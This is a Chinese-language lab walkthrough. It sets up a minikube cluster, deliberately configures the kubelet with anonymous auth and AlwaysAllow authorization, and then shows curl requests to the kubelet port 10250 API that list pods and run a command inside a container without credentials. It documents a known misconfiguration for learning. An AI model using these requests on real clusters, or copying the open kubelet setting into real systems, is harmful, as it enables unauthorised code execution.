Kubelet未授权命令执行

本文在Debian10上操作，且Debian10已安装最新Docker.

1.Install kubectl

# https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux 
sudo apt-get update && sudo apt-get install -y apt-transport-https
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee -a /etc/apt/sources.list.d/kubernetes.list
sudo apt-get update
sudo apt-get install -y kubectl

2. Install minikube

curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube_1.6.1.deb \
 && sudo dpkg -i minikube_1.6.1.deb

3. Install Driver (Optinal)

https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver

确认安装：

root@debian10:~# minikube start --vm-driver=none
* minikube v1.6.1 on Debian 10.2
* Selecting 'none' driver from user configuration (alternates: [])
* Tip: Use 'minikube start -p <name>' to create a new cluster, or 'minikube delete' to delete this one.
* Starting existing none VM for "minikube" ...
* Waiting for the host to be provisioned ...
! VM may be unable to resolve external DNS records
* Preparing Kubernetes v1.17.0 on Docker '19.03.0' ...
* Downloading kubeadm v1.17.0
* Downloading kubelet v1.17.0
* Launching Kubernetes ...

* Configuring local host environment ...
*
! The 'none' driver provides limited isolation and may reduce system security and reliability.
! For more information, see:
  - https://minikube.sigs.k8s.io/docs/reference/drivers/none/
*
! kubectl and minikube configuration will be stored in /root
! To use kubectl or minikube commands as your own user, you may need to relocate them. For example, to overwrite your own settings, run:
*
  - sudo mv /root/.kube /root/.minikube $HOME
  - sudo chown -R $USER $HOME/.kube $HOME/.minikube
*
* This can also be done automatically by setting the env var CHANGE_MINIKUBE_NONE_USER=true
* Done! kubectl is now configured to use "minikube"
root@debian10:~#
root@debian10:~# minikube status
host: Running
kubelet: Running
apiserver: Running
kubeconfig: Configured
root@debian10:~# minikube stop
* Stopping "minikube" in none ...
* Stopping "minikube" in none ...
* "minikube" stopped.
root@debian10:~#

配置可访问api,编辑/var/lib/kubelet/config.yaml 文件，把anonymous auth改成true,authorization mode改成AlwaysAllow

重启：

sudo systemctl daemon-reload
sudo systemctl restart kubelet.service

确认可以访问：

curl -k https://localhost:10250/runningpods/

启动（VMware中虚拟机上的Debian10）：

# minikube start --vm-driver=none
kubectl create deployment kubernetes-bootcamp --image=gcr.io/google-samples/kubernetes-bootcamp:v1
kubectl get deployments
echo -e "\n\n\n\e[92mStarting Proxy. After starting it will not output a response. Please click the first Terminal Tab\n";
kubectl proxy

打开新终端，确认部署成功：

export POD_NAME=$(kubectl get pods -o go-template --template '{{range .items}}{{.metadata.name}}{{"\n"}}{{end}}')
echo Name of the Pod: $POD_NAME
curl http://localhost:8001/api/v1/namespaces/default/pods/$POD_NAME/proxy/

另一些查看的命令：

kubectl get pod
kubectl describe pods
kubectl get services
kubectl get pods --all-namespaces
kubectl get deployments
minikube service $POD_NAME --url
kubectl delete services $POD_NAME
kubectl delete deployment $POD_NAME
minikube stop
minikube delete

执行命令的格式是：

# /run/%namespace%/%pod_name%/%container_name%

所以执行命令要获得 namespace， pod_name， container_name这三个数据：

curl -k https://192.168.23.134:10250/runningpods/
curl -k https://192.168.23.134:10250/pods/

获取后在容器里执行命令：

curl -k -XPOST "https://192.168.23.134:10250/run/default/kubernetes-bootcamp-69fbc6f4cf-82lk2/kubernetes-bootcamp" -d "cmd=ls -ahl"

至于如何逃逸容器，那就要讨论Docker了。暂不讨论。

参考：

https://carnal0wnage.attackresearch.com/2019/01/kubernetes-unauth-kublet-api-10250.html

https://kubernetes.io/docs/tasks/tools/install-kubectl/#install-kubectl-on-linux

https://kubernetes.io/docs/setup/learning-environment/minikube/#specifying-the-vm-driver

https://gist.github.com/lizrice/c32740fac51db2a5518f06c3dae4944f